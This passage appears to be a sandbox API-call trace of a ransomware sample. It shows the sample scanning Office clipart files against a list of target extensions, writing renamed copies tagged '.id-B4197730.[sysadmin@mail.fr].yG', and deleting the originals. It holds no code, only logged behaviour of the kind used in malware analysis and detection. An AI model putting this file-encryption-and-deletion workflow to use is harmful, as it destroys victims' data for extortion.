	[0168.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0168.906] lstrlenW (lpString=".jpg") returned 4
	[0168.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.991] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3020) returned 1
	[0168.991] CloseHandle (hObject=0x388) returned 1
	[0168.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220
	[0168.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0168.992] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.992] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0168.994] GetLastError () returned 0x0
	[0168.994] ReadFile (in: hFile=0x388, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xbcc, lpOverlapped=0x0) returned 1
	[0169.104] WriteFile (in: hFile=0x4d8, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0169.105] ReadFile (in: hFile=0x388, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.105] WriteFile (in: hFile=0x4d8, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.106] SetEndOfFile (hFile=0x4d8) returned 1
	[0169.106] CloseHandle (hObject=0x4d8) returned 1
	[0169.106] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.106] SetEndOfFile (hFile=0x388) returned 1
	[0169.116] CloseHandle (hObject=0x388) returned 1
	[0169.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1
	[0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0169.123] lstrlenW (lpString=".doc") returned 4
	[0169.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.123] lstrlenW (lpString=".docx") returned 5
	[0169.123] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.123] lstrlenW (lpString=".pdf") returned 4
	[0169.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.123] lstrlenW (lpString=".xls") returned 4
	[0169.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.123] lstrlenW (lpString=".xlsx") returned 5
	[0169.123] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.123] lstrlenW (lpString=".ppt") returned 4
	[0169.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0169.123] lstrlenW (lpString=".zip") returned 4
	[0169.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.123] lstrlenW (lpString=".rar") returned 4
	[0169.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.123] lstrlenW (lpString=".bz2") returned 4
	[0169.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.123] lstrlenW (lpString=".7z") returned 3
	[0169.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0169.124] lstrlenW (lpString=".dbf") returned 4
	[0169.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0169.124] lstrlenW (lpString=".1cd") returned 4
	[0169.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0169.124] lstrlenW (lpString=".jpg") returned 4
	[0169.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.220] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=48380) returned 1
	[0170.220] CloseHandle (hObject=0x550) returned 1
	[0170.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220
	[0170.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.221] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.221] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0170.223] GetLastError () returned 0x0
	[0170.223] ReadFile (in: hFile=0x550, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xbcfc, lpOverlapped=0x0) returned 1
	[0170.301] WriteFile (in: hFile=0x38c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xbd00, lpOverlapped=0x0) returned 1
	[0170.304] ReadFile (in: hFile=0x550, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.304] WriteFile (in: hFile=0x38c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.304] SetEndOfFile (hFile=0x38c) returned 1
	[0170.305] CloseHandle (hObject=0x38c) returned 1
	[0170.305] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.305] SetEndOfFile (hFile=0x550) returned 1
	[0170.310] CloseHandle (hObject=0x550) returned 1
	[0170.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1
	[0170.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0170.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0170.312] lstrlenW (lpString=".doc") returned 4
	[0170.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.312] lstrlenW (lpString=".docx") returned 5
	[0170.312] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.312] lstrlenW (lpString=".pdf") returned 4
	[0170.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.312] lstrlenW (lpString=".xls") returned 4
	[0170.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.312] lstrlenW (lpString=".xlsx") returned 5
	[0170.312] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.312] lstrlenW (lpString=".ppt") returned 4
	[0170.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0170.313] lstrlenW (lpString=".zip") returned 4
	[0170.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.313] lstrlenW (lpString=".rar") returned 4
	[0170.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString=".bz2") returned 4
	[0170.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString=".7z") returned 3
	[0170.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0170.313] lstrlenW (lpString=".dbf") returned 4
	[0170.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0170.313] lstrlenW (lpString=".1cd") returned 4
	[0170.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0170.313] lstrlenW (lpString=".jpg") returned 4
	[0170.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.399] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=5272) returned 1
	[0170.400] CloseHandle (hObject=0x350) returned 1
	[0170.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220
	[0170.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0170.656] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.657] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.657] GetLastError () returned 0x0
	[0170.657] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1498, lpOverlapped=0x0) returned 1
	[0170.677] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0170.679] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.679] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.679] SetEndOfFile (hFile=0x388) returned 1
	[0170.679] CloseHandle (hObject=0x388) returned 1
	[0170.679] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.679] SetEndOfFile (hFile=0x48c) returned 1
	[0170.683] CloseHandle (hObject=0x48c) returned 1
	[0170.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1
	[0170.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0170.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0170.684] lstrlenW (lpString=".doc") returned 4
	[0170.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.684] lstrlenW (lpString=".docx") returned 5
	[0170.684] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.685] lstrlenW (lpString=".pdf") returned 4
	[0170.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.685] lstrlenW (lpString=".xls") returned 4
	[0170.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.685] lstrlenW (lpString=".xlsx") returned 5
	[0170.685] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.685] lstrlenW (lpString=".ppt") returned 4
	[0170.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0170.685] lstrlenW (lpString=".zip") returned 4
	[0170.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.685] lstrlenW (lpString=".rar") returned 4
	[0170.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.685] lstrlenW (lpString=".bz2") returned 4
	[0170.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.685] lstrlenW (lpString=".7z") returned 3
	[0170.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0170.685] lstrlenW (lpString=".dbf") returned 4
	[0170.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0170.685] lstrlenW (lpString=".1cd") returned 4
	[0170.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0170.685] lstrlenW (lpString=".jpg") returned 4
	[0170.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.686] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=11108) returned 1
	[0170.686] CloseHandle (hObject=0x48c) returned 1
	[0170.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220
	[0170.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0170.687] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.687] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.688] GetLastError () returned 0x0
	[0170.688] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2b64, lpOverlapped=0x0) returned 1
	[0170.694] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2b70, lpOverlapped=0x0) returned 1
	[0170.695] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.695] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.695] SetEndOfFile (hFile=0x388) returned 1
	[0170.695] CloseHandle (hObject=0x388) returned 1
	[0170.695] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.696] SetEndOfFile (hFile=0x48c) returned 1
	[0170.699] CloseHandle (hObject=0x48c) returned 1
	[0170.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1
	[0170.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0170.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0170.700] lstrlenW (lpString=".doc") returned 4
	[0170.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.701] lstrlenW (lpString=".docx") returned 5
	[0170.701] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.701] lstrlenW (lpString=".pdf") returned 4
	[0170.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.701] lstrlenW (lpString=".xls") returned 4
	[0170.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.701] lstrlenW (lpString=".xlsx") returned 5
	[0170.701] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.701] lstrlenW (lpString=".ppt") returned 4
	[0170.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0170.701] lstrlenW (lpString=".zip") returned 4
	[0170.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.701] lstrlenW (lpString=".rar") returned 4
	[0170.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.701] lstrlenW (lpString=".bz2") returned 4
	[0170.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.701] lstrlenW (lpString=".7z") returned 3
	[0170.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0170.701] lstrlenW (lpString=".dbf") returned 4
	[0170.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0170.701] lstrlenW (lpString=".1cd") returned 4
	[0170.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0170.702] lstrlenW (lpString=".jpg") returned 4
	[0170.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.702] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=14132) returned 1
	[0170.702] CloseHandle (hObject=0x48c) returned 1
	[0170.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220
	[0170.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0170.703] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.704] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.704] GetLastError () returned 0x0
	[0170.705] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3734, lpOverlapped=0x0) returned 1
